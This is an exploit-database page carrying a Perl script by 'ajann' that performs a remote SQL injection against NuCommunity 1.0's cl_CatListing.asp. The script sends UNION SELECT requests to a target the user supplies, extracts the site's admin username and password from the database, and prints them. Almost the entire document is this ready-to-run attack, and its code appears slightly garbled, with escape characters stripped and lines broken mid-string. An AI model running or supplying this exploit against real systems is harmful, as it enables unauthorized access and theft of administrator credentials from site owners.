NuCommunity 1.0 (cl_CatListing.asp) Remote SQL Injection Exploit

Advisory Content :

From:Filistin,Lubnan,IraQ,Turkey
#!/usr/bin/perl
#[Script Name: NuCommunity 1.0 (cl_CatListing.asp) Remote SQL Injection
Exploit
#[Coded by : ajann
#[Author : ajann
#[Contact : :(

use IO::Socket;
if(@ARGV < 3){
print "
[=======================================================================
=
[// NuCommunity 1.0 (cl_CatListing.asp) Remote SQL Injection Exploit
[// Usage: exploit.pl [target] [path] [userid]
[// Example: exploit.pl victim.com / 1
[// Example: exploit.pl victim.com /path/ 1
[// Vuln&Exp : ajann
[=======================================================================
=
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http://)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "cl_CatListing.asp?cl_cat_ID=";
$target =
"-1%20union%20select%200,0,0,admin_user%20from%20admin+where+admin_id%20
like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

$targettwo =
"-1%20union%20select%200,0,0,admin_password%20from%20admin+where+admin_i
d%20like%20".$ARGV[2];
$targettwo = $host.$dir.$file.$targettwo;

#Writing data to socket
print
"+**********************************************************************
+n";
print "+ Trying to connect: $servern";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server",
PeerPort => "$port") || die "n+ Connection failed...n";
print $socket "GET $targetn";
print $socket "Host: $servern";
print $socket "Accept: */*n";
print $socket "Connection: closenn";
print "+ Connected!...n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /t size="2">(.*?)</font>/){
print "+ Exploit succeed! Getting admin information.n";
print "+ ---------------- +n";
print "+ Username: $1n";

print
"+**********************************************************************
+n";
print "+ Trying to connect for Password: $servern";
$socket1 = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server",
PeerPort => "$port") || die "n+ Connection failed...n";
print $socket1 "GET $targettwon";
print $socket1 "Host: $servern";
print $socket1 "Accept: */*n";
print $socket1 "Connection: closenn";
print "+ Connected!...n";
#Getting
while($answer = <$socket1>) {
if ($answer =~ /t size="2">(.*?)</font>/){
print "+ Exploit succeed! Getting admin information.n";
print "+ ---------------- +n";
print "+ Password: $1n";
print
"+**********************************************************************
+n";
exit();
}

if ($answer =~ /Ad removed or not yet approved/) {
print "+ Exploit Failed : ( n";
print
"+**********************************************************************
+n";
exit();
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : ( n";
print
"+**********************************************************************
+n";
exit();
}
}
}
}
print "+ Exploit failed :(n";
print
"+**********************************************************************
+n";

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

NuCommunity 1.0 (cl_CatListing.asp) Remote SQL Injection Exploit